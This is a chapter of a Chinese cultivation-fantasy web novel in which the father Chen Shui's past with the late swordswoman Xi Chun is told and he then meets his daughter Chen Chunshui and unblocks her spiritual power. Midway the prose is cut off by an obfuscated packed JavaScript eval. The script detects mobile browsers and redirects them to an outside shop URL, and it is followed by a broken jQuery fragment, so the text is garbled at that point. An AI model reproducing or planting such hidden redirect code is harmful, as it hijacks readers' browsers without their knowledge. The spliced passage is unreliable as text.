陈水沉默了下来,一时没有接话。
如令师尊瞅他两眼,大概知道了有解法,也知道他沉默的原因。
陈水其实并非拂云宗修士,而是云游的一位散修,一次缘分,与逢春山的主人席春相识于一处凡间的小镇,那时的席春早已是宗门的天之骄女,天下无双的存在,人长得美,剑修得高,陈水对席春是一见钟情,打定主意了不放手,一路从小镇追到白帝城又追到了逢春山上。
可陈水算老几,席春才不会因为他追了大几千里路就心软。
可陈水太不要脸了,每日就赖在逢春山山脚下,天天在席春面前刷存在感。
大抵是陈水死缠烂打得席春受不了了,席春便道:“好啊,你既然说喜欢我想与我成婚,我答应你便是。那日后你便要老老实实在逢春山当个贤内助,院子你要管,山你要管,我的吃喝住行你全都要管!”
“稍有一点点我不满意了,我便打得你痛哭流涕!”席春恶狠狠威胁道。
她本以为陈水会知难而退,哪成想自己是给了他机会。
陈水就等着这么一句话,相当爽快就答应了,自此便成为了逢春山的编外子弟了。
两人琴瑟和鸣七载,有了陈春水这个小孩,本以为一家三口能一直幸福下去,但偏偏出了事故。
拂云有剑名拂云,据说是天赐之物,为万事太平而存,在陈春水生辰那日,它剑指西北之处,剑身铮铮作响。
剑之所指,即为席春需奔赴之处。
在过往岁月之中常有这样的情况出现,一般都是白帝城还未进行保护覆盖、无法第一时间接收消息传递消息的偏远之地有妖魔鬼怪行凶作恶,拂云剑便会感应到,然后席春独身御剑前去平乱。
大家都以为这只是一次普普通通的任务,过不了几日席春便会回来。
但没有想到的是,过了半载她都没有回来,陈水带着春水在逢春山上,自然坐不住,便找了如令让其算上一卦。
如令算了两算,没到结果,只道事在人为,让陈水再等一等。
陈水等了半载,等来了席春身陨的消息,等到了传送阵将她所带法宝与拂云剑传至整个逢春山。
此后陈水便一蹶不振好些时日,但见女儿还在膝边,他无法允许自己放弃这世间唯一与席春有关的人,还是个小孩。
于是一个风和日丽的日子,他收拾好东西,带着春水一起离开了逢春山这个让人伤心之地。
这一别,已有十三载。
因为席春,他再也不觉修道是件如何好的事,反倒悟得慧极必伤,春水继承了席春与他的修道天赋,但他只希望女儿如普通人一样,安安稳稳过好这一生便好。
但现在,春水竟然误打误撞又回到了拂云宗,而且又想修道,陈水又感到了动摇。
“哎,水兄!”如令一副我懂我都懂的样子,劝慰道:“你不要过于担心了,丫头还是自己愿意学,你便随了她好,我如令可以拍胸脯保证,出什么事,我这个师傅必须第一时间挡在她前面。”
说完,如令还怕这个担保不够,又将谢余拉到身前,道:“还有她师兄,也必定第一时间让师妹退至他身后。”
“你说对吧!”如令眼神坚定地看着谢余。
谢余点头表示赞同。
既然如此,陈水也没有什么好说的,他本就没有要阻碍陈春水追求修道的意思。
怎么说,陈春水现在只有他一个爹在了,当爹的必须要支持自家孩子啊。
“有你们在我很放心了,待春水回来我再问问她的意思,若她真的愿意修道,我便将那道阻碍拿掉。”陈水道。
“哎!这就好嘛!”如令道。
“那水兄,你要不要现在就去找丫头,恰好她在逢春山,何况你回来也是要住逢春山,不如现在我便让弟子带你去安顿好?”
陈水想了想,道:“也好,那便麻烦了。”
话落,他从方寸物中取了两样东西出来,一样是一串紫玉串珠,给了如令。
如令喜滋滋地接过了,他本就是因着这紫玉串珠前去寻陈水的,回来的路上求了陈水好久,又是利诱又是打感情牌,现下得到,幸福得元婴都要出窍了。
另一样则是一个花苞般的物件,通体纯银,看着像武器。
陈水将这件东西送给了谢余,道:“务必收下,当师叔送给你的见面礼。”
谢余道谢,接过,这物件分量很重,一拿到手便知不是凡品。
他抬头看这个穿着朴素但却气质出尘的中年男子,再联想之前种种,想陈水师叔与逢春山的主人怕是有莫大渊源,两人不是师兄妹便是道侣的关系。
———
一个下午,陈春水又集齐了两件法宝,顺带把山下那个缺口又多打开了一些。
那两件法宝一个是碗一个是锅盖,小七给出的名字都很高大上,功能听起来也很厉害,但陈春水看到手上三样平平无奇法宝只能联想到厨房七件套,她现在相当怀疑这个探险寻宝的真实性,全然不像是法宝碎片,而像是有人搬家把家里不要的家具废品扔到树林里,而陈春水还以为能找出古代物件。
但有总比没有好,她想,指不定到时候春闱上真能用上呢。
陈春水揉揉背,打算下山休息会,只见有两人正往山上来。
她一下便认出了其中一人,是师兄。
师兄边上还站了另外一人,穿着凡间最常见的粗布制的衣衫,背着一个包袱和一把剑。
两人一直在说话,陈春水等了半天才看见那人的脸。
这人长得还不错,但比起师兄来还是差了些,而且上了年纪。
这时,系统突然又弹了出来。
【解锁关键人物:陈水】
陈水?
陈春水不由得愣了一下,她和他的名字里只差了一个字,不会有什么关系吧?
她又继续往下看。
【陈水,字什么不知道,散修,化神境大能,你的父亲,喜欢吃花生米和当仆人。】
简介太简单了,看到最后三个字时,陈春水不由得眉毛一抽。
当……当仆人?什么鬼,化神境大能有这种癖好吗?
陈春水再打量了下离她愈来愈近的陈水,越瞧越觉得他这个穿搭确实很像仆人装扮。
陈春水默了默。
倒是小七很开心,雀跃道:“哇,小水,你的爸爸是大能诶!?˙?˙?”
陈春水又在心里叹了口气,只希望亲爹是个正常人就行。
很快谢余就带着陈水走到了陈春水边上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675753|206754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
陈春水在假装看书,卡着时间,转身道:“师兄,爹。”
语气里有些惊讶,但面上很平淡。
倒是陈水显得很是诧异,道:“哟,你知道我是你爹?”
陈春水:“?”
果然,果然亲爹不是正常人啊,难道她不该知道他是爹吗?
陈水看着陈春水现下一副疑惑甚至在质问他的样子,不由得爽朗大笑起来,一边笑一边拍了拍谢余肩膀,让谢余也看她。
陈春水质问的眼神就转移到谢余的身上,谢余一对上师妹的眼神,就十分刻意地躲开了,不留痕迹。
陈水笑够了,才解释道:“前段时间你在山上采蘑菇不小心滑了一下,摔到了脑袋,醒了之后一直说自己是蘑菇仙子,还说我不是你爹,因为我不是蘑菇。”
“……”陈春水听了一听,便知道这是她穿越之前发生的事了,不过这倒是给她行了方便。
“是吗?我都不记得了。”她道。
“是啊,”陈水肯定道,语气里有不符合气质年龄的调侃意味,“所以你现在是全部想起来了?”
陈春水想了想,道:“没有,我只记得你是我爹了。”
谢余忍不住把眼神移到了陈春水的身上,她一双眼睛澄澈,显得天真单纯,很好被骗。
“那你胆子很大了,”陈水点评道,“什么都不记得就自己乱跑出去了,我设的法阵都没拦住你。”
听到这,陈春水有些疑惑了:法阵?什么法阵?她出来的时候不是开门就能走吗?
小七适时出来,道:“那是因为你有新手保护期,对攻击保护都免疫,你一穿越就离开了那个院子,所以法阵没能发挥任何作用。”
陈春水懂了,她吐吐舌头,俏皮回道:“不知者无畏嘛。”
陈水又笑了。
“好罢,既然如此,那你现在是打定主意要在拂云宗修道了?”陈水问道。
“拂云宗的修炼可是很辛苦的,对于天赋异禀者更是如此,而且,一旦修道,责任的担子就会压在你身上,你可愿承担啊?”
陈水一下子变得认真起来,目光炯炯,倒教陈春水不知如何答好。
她偷偷看了一眼谢余,谢余也看着她,眼睛弯了一下,似是鼓励。
“自然愿意承担,修道本就是为万世开太平之举,每个人都有守好这盛世天下的义务,个人追求则应放到之后。”陈春水一字一字有力道。
陈水看着她,想:她这个女儿,倒还真是像她娘亲啊。
“那好,你把手递上来,我便为你破了那道灵府的阻碍。”陈水道。
他伸出手,手心有着常年劳作之人才有的厚厚一层茧,有些泛黄。
陈春水缓缓搭上去,感受到了粗糙,随即一阵暖流通过手心传递至她身上。
她感受着这股暖流经过层层灵脉到达如令师尊所说的那层阻碍之前,她原本以为冲破阻碍大概会像打铁一般有很大的动静,心下还有些紧张。
然而却只是如清水擦拭玻璃一般温柔,很快那层阻碍便破去,多年不使用的系统运行起来就如决堤一般,灵力瞬时四散出走,充斥了陈春水的所有灵脉。
“好了,以后你便可使用灵力了。”陈水握了握陈春水的手,道。